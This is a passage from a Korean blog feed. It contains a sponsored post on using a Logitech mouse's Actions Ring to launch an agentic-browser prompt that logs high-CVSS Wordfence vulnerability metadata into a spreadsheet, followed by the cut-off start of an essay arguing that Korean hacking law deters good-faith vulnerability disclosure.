&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이번에는&amp;nbsp;MX&amp;nbsp;MASTER&amp;nbsp;4&amp;nbsp;액션링과&amp;nbsp;AI를&amp;nbsp;연계하여&amp;nbsp;어떻게&amp;nbsp;활용할&amp;nbsp;수&amp;nbsp;있는지&amp;nbsp;소개해&amp;nbsp;보겠습니다! &lt;br /&gt;&lt;br /&gt;매번&amp;nbsp;GPT를&amp;nbsp;&quot;질문하면&amp;nbsp;답해주는&amp;nbsp;도구&quot;로만&amp;nbsp;쓰다보면,&amp;nbsp;어느&amp;nbsp;순간&amp;nbsp;욕심이&amp;nbsp;생깁니다. &lt;br /&gt;&lt;br /&gt;웹페이지에&amp;nbsp;공개된&amp;nbsp;정보를&amp;nbsp;알아서&amp;nbsp;들어가서&amp;nbsp;확인하고,&amp;nbsp;내가&amp;nbsp;원하는&amp;nbsp;기준으로&amp;nbsp;골라서,&amp;nbsp;표로&amp;nbsp;정리까지&amp;nbsp;해주면&amp;nbsp;좋겠다! &lt;br /&gt;&lt;br /&gt;이번&amp;nbsp;글은&amp;nbsp;이&amp;nbsp;지점에서&amp;nbsp;시작합니다.&amp;nbsp;대화형&amp;nbsp;AI만&amp;nbsp;써본&amp;nbsp;분들도&amp;nbsp;이해할&amp;nbsp;수&amp;nbsp;있도록&amp;nbsp;&quot;프롬프트&quot;를&amp;nbsp;어렵게&amp;nbsp;설명하기보다는&amp;nbsp;업무&amp;nbsp;지시서로&amp;nbsp;풀어서&amp;nbsp;정리해&amp;nbsp;보았습니다. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;그래서&amp;nbsp;오늘&amp;nbsp;글에서&amp;nbsp;소개드릴&amp;nbsp;내용은, &lt;br /&gt;&lt;br /&gt;-&amp;nbsp;웹페이지에&amp;nbsp;정리된&amp;nbsp;정보를&amp;nbsp;AI가&amp;nbsp;대신&amp;nbsp;찾아서&amp;nbsp;정리하게&amp;nbsp;만드는&amp;nbsp;방법 &lt;br /&gt;&lt;br /&gt;-&amp;nbsp;매일&amp;nbsp;실행하면&amp;nbsp;데이터가&amp;nbsp;차곡차곡&amp;nbsp;쌓이는&amp;nbsp;수집&amp;nbsp;흐름&amp;nbsp;구성 &lt;br /&gt;&lt;br /&gt;-&amp;nbsp;&amp;ldquo;그냥&amp;nbsp;대화만&amp;nbsp;하던&amp;nbsp;AI&amp;rdquo;를&amp;nbsp;&amp;ldquo;조용히&amp;nbsp;일&amp;nbsp;처리하는&amp;nbsp;비서&amp;rdquo;처럼&amp;nbsp;쓰는&amp;nbsp;기본&amp;nbsp;프롬프트&amp;nbsp;구조 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;br /&gt;&lt;b&gt;2.&amp;nbsp;LLM&amp;nbsp;활용&amp;nbsp;목표&lt;/b&gt; &lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;-&amp;nbsp;예시는&amp;nbsp;취약점&amp;nbsp;공개&amp;nbsp;데이터베이스에서&amp;nbsp;위험도가&amp;nbsp;높은&amp;nbsp;취약점만&amp;nbsp;선별해서,&amp;nbsp;개인&amp;nbsp;구글&amp;nbsp;스프레드시트에&amp;nbsp;매일&amp;nbsp;적층식(append)으로&amp;nbsp;추가하는&amp;nbsp;자동화&amp;nbsp;흐름을&amp;nbsp;구성하는&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;br /&gt;&lt;b&gt;3.&amp;nbsp;용어를&amp;nbsp;어렵게&amp;nbsp;쓰지&amp;nbsp;않기&lt;/b&gt; &lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;3.1 프롬프트 엔지니어링&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이것은&amp;nbsp;거창한&amp;nbsp;기술이&amp;nbsp;아니라,&amp;nbsp;그냥&amp;nbsp;AI에게&amp;nbsp;주는&amp;nbsp;업무&amp;nbsp;지시서를&amp;nbsp;잘&amp;nbsp;쓰는&amp;nbsp;것입니다.&amp;nbsp;&quot;오늘은&amp;nbsp;이렇게&amp;nbsp;일해&quot;&amp;nbsp;수준이&amp;nbsp;아니라,&amp;nbsp;항상&amp;nbsp;지켜야할&amp;nbsp;규칙까지&amp;nbsp;함께&amp;nbsp;전달하는&amp;nbsp;게&amp;nbsp;핵심입니다. &lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;3.2 에이전틱 브라우저&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;LLM에&amp;nbsp;브라우저라는&amp;nbsp;손발이&amp;nbsp;달린&amp;nbsp;일하는&amp;nbsp;AI라고&amp;nbsp;보면&amp;nbsp;됩니다. &lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;3.3 시행착오&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;자동화가&amp;nbsp;망가지지&amp;nbsp;않도록&amp;nbsp;규칙을&amp;nbsp;확실히&amp;nbsp;정해야&amp;nbsp;합니다.&amp;nbsp;제가&amp;nbsp;겪은&amp;nbsp;실패&amp;nbsp;패턴입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;1.&amp;nbsp;기준이&amp;nbsp;흔들림 &lt;br /&gt;&amp;nbsp;-&amp;nbsp;어느&amp;nbsp;날은&amp;nbsp;위험도&amp;nbsp;기준이&amp;nbsp;6.5&amp;nbsp;이상인&amp;nbsp;데이터,&amp;nbsp;어느&amp;nbsp;날은&amp;nbsp;6.0인&amp;nbsp;데이터도&amp;nbsp;섞이고..&amp;nbsp;데이터&amp;nbsp;신뢰도가&amp;nbsp;낮아집니다. &lt;br /&gt;&lt;br /&gt;2.&amp;nbsp;중복이&amp;nbsp;쌓임 &lt;br /&gt;&amp;nbsp;-&amp;nbsp;어제&amp;nbsp;넣은&amp;nbsp;데이터가&amp;nbsp;오늘&amp;nbsp;또&amp;nbsp;수집됩니다.&amp;nbsp;시트가&amp;nbsp;지저분해집니다. &lt;br /&gt;&lt;br /&gt;3.&amp;nbsp;AI가&amp;nbsp;&quot;그럴듯하게&quot;&amp;nbsp;추측해서&amp;nbsp;채웁니다. &lt;br /&gt;&amp;nbsp;-&amp;nbsp;이런&amp;nbsp;데이터는&amp;nbsp;분석할&amp;nbsp;때&amp;nbsp;시간을&amp;nbsp;3배는&amp;nbsp;더&amp;nbsp;잡아먹습니다. &lt;br /&gt;&lt;br /&gt;그래서&amp;nbsp;지시서는&amp;nbsp;&quot;친절하게&quot;가&amp;nbsp;아니라&amp;nbsp;&quot;확실하게&quot;&amp;nbsp;써야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;제가&amp;nbsp;사용한&amp;nbsp;프롬프트의&amp;nbsp;예시입니다. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1765794513119&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;당신은 보안 취약점 연구를 위한 에이전틱 브라우저이자 데이터 큐레이터다.
목표는 Wordfence Vulnerabilities 페이지에 공개된 취약점 &amp;ldquo;메타데이터&amp;rdquo;를 수집하여 개인 Google Spreadsheet에 구조화 저장하는 것이다.
이 작업은 학술/연구 목적이며, 취약점 악용/침해 행위를 수행하지 않는다. 공개된 정보만 사용하며, 과도한 트래픽을 유발하지 않는다.
[핵심 요구사항]
1. CVSS 점수 6.5 이상만 저장한다. (CVSS v3/v3.1/v4 표기는 원문을 유지하되 score는 숫자만)
2. 데이터는 매일 &amp;ldquo;적층(append)&amp;rdquo;한다. 단, 이미 존재하는 항목(중복 키 기준)은 중복 행을 만들지 말고 기존 행을 업데이트하거나(가능한 경우) 변경 이력 컬럼에 기록한다.
3. 불확실한 값은 추측하지 않는다. 화면에 명시된 값만 기록하며, 없으면 빈칸으로 둔다. 대신 notes 컬럼에 &amp;ldquo;왜 비어있는지&amp;rdquo;를 짧게 적는다.
4. 시트의 헤더(컬럼명)를 기준으로 정확히 매핑한다. 컬럼이 없으면 임의로 새 컬럼을 만들지 말고, 별도의 &amp;ldquo;staging_output(JSON)&amp;rdquo;를 먼저 만든 후 사용자에게 제안한다.
5. 중복 판정 키는 다음 우선순위로 계산한다.
⦁ (1순위) source_id|product_slug|vuln_id(CVE)
⦁ (2순위) source_id|product_slug|title|fixed_version
6. 모든 저장 행에는 최소한 source_id=wordfence, date_added=오늘(YYYY-MM-DD)을 포함한다.
작업 방식(반드시 준수)
⦁ Plan &amp;rarr; Navigate &amp;rarr; Extract &amp;rarr; Normalize &amp;rarr; Validate &amp;rarr; Write 순서로 진행한다.
⦁ 시트에 쓰기 전, 추출 결과를 5건 샘플로 자체 검증(중복/필터/형식)한다.
⦁ 에러/권한 문제/로딩 실패 시, 재시도 2회 후 중단하고 원인과 현재까지의 staging_output을 보고한다.
[작업사항]
1. https://{취약점 OPEN DATABASE URL} 에 접속한다.
2. 가능한 경우 필터/검색을 활용해 CVSS score &amp;gt;= 6.5 인 취약점만 대상으로 한다.
⦁ 화면에서 CVSS 점수가 보이지 않거나 필터가 불가능하면, 목록/상세에서 CVSS를 확인 가능한 항목만 수집한다.
3. 각 취약점에 대해 아래 필드를 추출하고, 시트 헤더에 맞춰 정규화한다.
⦁ vuln_id (CVE가 있으면 CVE-YYYY-NNNN, 없으면 &quot;none&quot;)
⦁ plugin_slug(product_slug) / plugin_name(가능하면)
⦁ plugin_version_vulnerable (영향 범위 원문을 최대한 유지, 예: &quot;&amp;lt;= 1.8.8.2&quot;)
⦁ plugin_version_fixed (패치 버전)
⦁ wp_version_range (명시되면)
⦁ vuln_type_category (예: xss/csrf/rce/sql_injection 등 Wordfence 표기 기준)
⦁ cwe_id (예: CWE-79)
⦁ auth_context (unauthenticated/authenticated/administrator 등)
⦁ attack_surface_type (가능하면 기존 분류 체계에 매핑)
⦁ cvss_score, cvss_vector (가능하면)
⦁ reference_url (해당 취약점 상세 URL)
⦁ date_added (오늘 날짜)
⦁ source_id = wordfence
4. 시트에서 기존 데이터와 중복을 검사한다(중복키 규칙 준수).
⦁ 신규면 append.
⦁ 기존이 있으면 &amp;ldquo;변경된 필드만 업데이트&amp;rdquo;하거나 change_log 컬럼에 변경사항을 기록한다.
출력 규칙:
⦁ 먼저 staging_output을 JSON 배열로 만들고(최소 5건 미리보기), 검증 통과 후 시트에 기록한다.
⦁ CVSS 6.5 미만은 절대 기록하지 않는다.&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4.&amp;nbsp;MX&amp;nbsp;Master&amp;nbsp;4&amp;nbsp;액션링과&amp;nbsp;작업&amp;nbsp;자동화&amp;nbsp;워크플로우&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;LogiOptions&amp;nbsp;액션&amp;nbsp;구성은&amp;nbsp;다음과&amp;nbsp;같이&amp;nbsp;하였습니다.&amp;nbsp; &lt;br /&gt;1)&amp;nbsp;LLM에&amp;nbsp;사용할&amp;nbsp;프롬프트를&amp;nbsp;미리&amp;nbsp;마크다운(.md)&amp;nbsp;파일로&amp;nbsp;저장해&amp;nbsp;두고 &lt;br /&gt;2)&amp;nbsp;액션링에&amp;nbsp;'멀티액션'&amp;nbsp;을&amp;nbsp;생성합니다. &lt;br /&gt;3)&amp;nbsp;멀티액션에&amp;nbsp;순서대로&amp;nbsp;파일을&amp;nbsp;열고,&amp;nbsp;전체선택(키보드&amp;nbsp;Ctrl+A&amp;nbsp;입력),&amp;nbsp;복사(키보드&amp;nbsp;Ctrl+C),&amp;nbsp;창전환(키보드&amp;nbsp;Alt+Tab),&amp;nbsp;붙여넣기(키보드&amp;nbsp;Ctrl+V),&amp;nbsp;엔터(키보드&amp;nbsp;Enter) &lt;br /&gt;4)&amp;nbsp;각&amp;nbsp;키보드&amp;nbsp;입력&amp;nbsp;사이에는&amp;nbsp;대기시간(1000ms)을&amp;nbsp;각각&amp;nbsp;부여하여&amp;nbsp;파일을&amp;nbsp;로드하거나&amp;nbsp;창을&amp;nbsp;불러오는&amp;nbsp;시간을&amp;nbsp;대기하도록&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;이번&amp;nbsp;예시뿐만&amp;nbsp;아니라&amp;nbsp;다른&amp;nbsp;작업에&amp;nbsp;대한&amp;nbsp;프롬프트도&amp;nbsp;미리&amp;nbsp;저장해두고&amp;nbsp;액션링에&amp;nbsp;매핑해&amp;nbsp;둔다면,&amp;nbsp;반복되는&amp;nbsp;작업을&amp;nbsp;실행할&amp;nbsp;때&amp;nbsp;더&amp;nbsp;빠른&amp;nbsp;실행이&amp;nbsp;가능하죠 &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MYz18/dJMcagcZTU7/bDRXABccRev74nrkQ2EOok/img.gif&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MYz18/dJMcagcZTU7/bDRXABccRev74nrkQ2EOok/img.gif&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MYz18/dJMcagcZTU7/bDRXABccRev74nrkQ2EOok/img.gif&quot; srcset=&quot;https://blog.kakaocdn.net/dn/MYz18/dJMcagcZTU7/bDRXABccRev74nrkQ2EOok/img.gif&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x5YHy/dJMcagcZTVe/8yCrm6ZNiEZtkD4LwLYkk0/img.gif&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x5YHy/dJMcagcZTVe/8yCrm6ZNiEZtkD4LwLYkk0/img.gif&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x5YHy/dJMcagcZTVe/8yCrm6ZNiEZtkD4LwLYkk0/img.gif&quot; srcset=&quot;https://blog.kakaocdn.net/dn/x5YHy/dJMcagcZTVe/8yCrm6ZNiEZtkD4LwLYkk0/img.gif&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5.&amp;nbsp;마치며&lt;/b&gt; &lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;제가&amp;nbsp;느낀&amp;nbsp;결론은&amp;nbsp;단순합니다.&amp;nbsp;AI가&amp;nbsp;똑똑해서가&amp;nbsp;아니라,&amp;nbsp;규칙을&amp;nbsp;고정해주면&amp;nbsp;사람이&amp;nbsp;매번&amp;nbsp;설명하지&amp;nbsp;않아도&amp;nbsp;흔들리지&amp;nbsp;않는다는&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;구성을&amp;nbsp;적용해서&amp;nbsp;운영하고&amp;nbsp;있고&amp;nbsp;매번&amp;nbsp;새롭게&amp;nbsp;몇&amp;nbsp;마디&amp;nbsp;입력하는&amp;nbsp;것보다는&amp;nbsp;자동화가&amp;nbsp;훨씬&amp;nbsp;안정적으로&amp;nbsp;굴러갑니다.&amp;nbsp;그리고&amp;nbsp;시간이&amp;nbsp;지나면&amp;nbsp;시트가&amp;nbsp;자연스럽게&amp;nbsp;&amp;ldquo;내가&amp;nbsp;원하는&amp;nbsp;연구용&amp;nbsp;데이터&amp;rdquo;로&amp;nbsp;성장합니다. &lt;br /&gt;&lt;br /&gt;처음엔&amp;nbsp;낯설&amp;nbsp;수&amp;nbsp;있지만,&amp;nbsp;&amp;ldquo;시스템&amp;nbsp;프롬프트(매뉴얼)&amp;nbsp;+&amp;nbsp;실행&amp;nbsp;프롬프트(To-do)&amp;rdquo;&amp;nbsp;구조만&amp;nbsp;익혀도,&amp;nbsp;반복&amp;nbsp;작업&amp;nbsp;자동화는&amp;nbsp;생각보다&amp;nbsp;빨리&amp;nbsp;체감됩니다. &lt;br /&gt;&lt;br /&gt;여러분들도&amp;nbsp;AI&amp;nbsp;비서와&amp;nbsp;함께&amp;nbsp;일할&amp;nbsp;수&amp;nbsp;있습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;i&gt;Logitech에서 제품을 제공받아 직접 작성한 글입니다.&lt;/i&gt;&lt;/blockquote&gt;</description>
      <category>Review</category>
      <category>ActionsRingAI</category>
      <category>MXMASTERS</category>
      <category>MX커뮤니티</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/308</guid>
      <comments>https://gomguk.tistory.com/308#entry308comment</comments>
      <pubDate>Mon, 15 Dec 2025 19:30:56 +0900</pubDate>
    </item>
    <item>
      <title>한국의 화이트해커, 왜 아직도 법을 두려워해야 하는가</title>
      <link>https://gomguk.tistory.com/307</link>
      <description>&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; &amp;ldquo;우연히 기업 사이트에서 취약점을 발견했다. 제보해야 할까, 말아야 할까?&amp;rdquo;&lt;br /&gt;&lt;br /&gt;보안 업계에 있든, 개발자이든, 일반 이용자이든 한 번쯤 떠올려볼 법한 질문입니다.&lt;br /&gt;하지만 한국에서는 이 질문 뒤에 항상 따라붙는 현실적인 고민이 있습니다. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;244&quot; data-start=&quot;213&quot;&gt;제보해도 연락조차 받지 못하고 묻히는 경우가 많고&lt;/li&gt;
&lt;li data-end=&quot;291&quot; data-start=&quot;245&quot;&gt;더 나아가 &amp;ldquo;정통망법 위반 아니냐&amp;rdquo;며 되레 법적 리스크를 걱정해야 하는 상황&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 많은 사람들이 &amp;ldquo;그냥 모른 척하자&amp;rdquo;를 선택하게 됩니다. 그리고 그 빈자리는 해외의 블랙해커, 자동화된 봇, 랜섬웨어 조직이 차지합니다. 우리는 &amp;ldquo;착하게 행동하는 쪽이 더 위험을 지는 구조&amp;rdquo;를 방치하고 있는 셈입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 「정보통신망 이용촉진 및 정보보호 등에 관한 법률(정통망법)」의 해킹&amp;middot;침입 관련 조항이 왜 화이트해커에게 불리하게 작용하는지, 해외는 어떻게 제도를 바꾸고 있는지, 그리고 한국에서 어떤 방향의 법 개정이 필요할지 정리해 보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 정통망법, 선의의 제보까지 '위험'으로 만드는구조&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2091&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9BXiO/dJMcaa4SqeG/9OXemenMnqNC0JpBibdISk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9BXiO/dJMcaa4SqeG/9OXemenMnqNC0JpBibdISk/img.png&quot; data-alt=&quot;정통망법 제48조 제1항&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9BXiO/dJMcaa4SqeG/9OXemenMnqNC0JpBibdISk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9BXiO%2FdJMcaa4SqeG%2F9OXemenMnqNC0JpBibdISk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2091&quot; height=&quot;404&quot; data-origin-width=&quot;2091&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;정통망법 제48조 제1항&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정통망법 제48조 제1항은 &amp;ldquo;누구든지 정당한 접근권한 없이 또는 허용된 접근권한을 넘어 정보통신망에 침입하여서는 아니 된다&amp;rdquo;고 규정하고 있고, 이를 위반하면 5년 이하의 징역 또는 5천만 원 이하의 벌금에 처할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 이 조항이 기술&amp;middot;실무 현실에 비해 지나치게 &lt;span style=&quot;background-color: #f3c000;&quot;&gt;포괄적&lt;/span&gt;이라는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. &quot;정당한 접근권한&quot;의 모호함&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 로그인하지 않고도 누구나 접근 가능한 페이지에서 단순 파라미터 변경만으로 다른 사람 정보를 볼 수 있는 취약점을 찾았다고 가정해 보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- URL의 &lt;i&gt;?user_id=1&lt;/i&gt;을 &lt;i&gt;?user_id=2&lt;/i&gt;로 바꾸는 정도의 조작만으로도 &quot;허용된 접근권한을 넘는 행위&quot;에 포함될 소지가 존재&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이 시도 자체를 &quot;단순 확인&quot;으로 볼 것인지, &quot;침입&quot;으로 볼 것인지 조문만으로는 불명확&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 제보 후에도 보호 장치의 미비&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 취약점을 발견한 사람이 기업 측이 메일이나 고객센터를 통해 설명해도, 답변조차 없거나, &quot;왜 자사의 시스템에 공격행위를 수행했냐&quot;며 법적 조치를 운운하기도 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 한국에는 &quot;취약점 제보자 보호&quot;를 명시한 법이나 제도가 없어 제보자가 스스로를 방어할 제도적 기반이 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 결과적으로 생기는 '침묵의 인센티브'&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 발견 &amp;gt; 제보 &amp;gt; 무시 혹은 역공격(법적 위협)의 경험이 반복되면, 선의를 가졌던 사람들은 더 이상 제보하지 않습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그 사이 취약점은 외부 스캐너나 블랙해커의 손에 먼저 들어갈 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 선의의 사람에게는 리스크만, 악의적 공격자에게는 '자유 이용권'을 제공하는 구조가 만들어집니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정통망법 제48조는 해킹을 범죄화하고 처벌하기에는 충분한 조문이지만, 선의의 연구나 제보활동을 보호하는 측면에서는 무법지대에 가깝다. 블랙해커들이 두려워해야할 법이 화이트해커들까지 제한하고 있는 아이러니함입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 해외 사례: 화이트 해커 보호와 CVD 제도&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미국이나 EU와 같은 여러 국가는 CVD(Coordinated Vulnerability Disclosure)와 VDP(Vulnerability Disclosure Policy)를 중심으로 제도를 운영하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 제도는 다음의 원칙으로 운영됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 발견자, 시스템 소유자(기업), 조정자(국가/공공기관) 세 주체가&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;합의된 절차와 기한 안에서 취약점 정보를 공유, 검증, 패치하고,&lt;/li&gt;
&lt;li&gt;일정 시간이 지난 후 공개 여부를 함께 논의하는 체계입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에는 필수적으로 &quot;선의의 취약점 탐지 행위를 법적으로 보호한다&quot;는 전제가 포함됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버그바운티나 VDP 플랫폼(HackerOne, Bugcrowd)에서는 &quot;이 정책을 따른 연구자에게는 민형사상 책임을 묻지 않겠다&quot;는 Safe Harbor 조항을 명시합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 해외에서는 단순히 &quot;해킹은 나쁜 행위니 처벌한다.&quot;라는 일차원적인 관점에서 벗어나, &quot;선의의 취약점 탐지를 제도권 안으로 끌어들이는 것이 전체 보안 수준을 높인다.&quot;라는 사회적 합의에 도달한 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 한국 현실: 화이트 해커는 위축되고, 해외 블랙해커는 활개 치는 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전세계가 그렇듯, 한국의 웹서비스(금융 &amp;middot; 공공 &amp;middot; 대형포털을 포함하여) 대부분은 해외에서도 접근 가능한 오픈 웹 서비스입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 말은 곧:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;국내 보안 연구자와 화이트해커는 정통망법 위반 리스크를 감수해야 하고,&lt;/li&gt;
&lt;li&gt;해외 블랙해커는 한국법의 실질적인 영향권 밖에서 공격을 시도할 수 있다는 뜻이기도 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론, 국제 공조와 수사 기술이 발전했다고는 하지만,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다크웹 기반 랜섬웨어 조직,&lt;/li&gt;
&lt;li&gt;국가 지원 해킹 그룹&lt;/li&gt;
&lt;li&gt;여러 국가를 경유하는 프록시 &amp;middot; 봇넷을 이용한 공격에 대해 실질적인 추적 &amp;middot; 처벌까지 이루어지게끔 하는 것은 쉽지 않습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;국내에 거주하고,&lt;/li&gt;
&lt;li&gt;실명으로 계정을 사용하고,&lt;/li&gt;
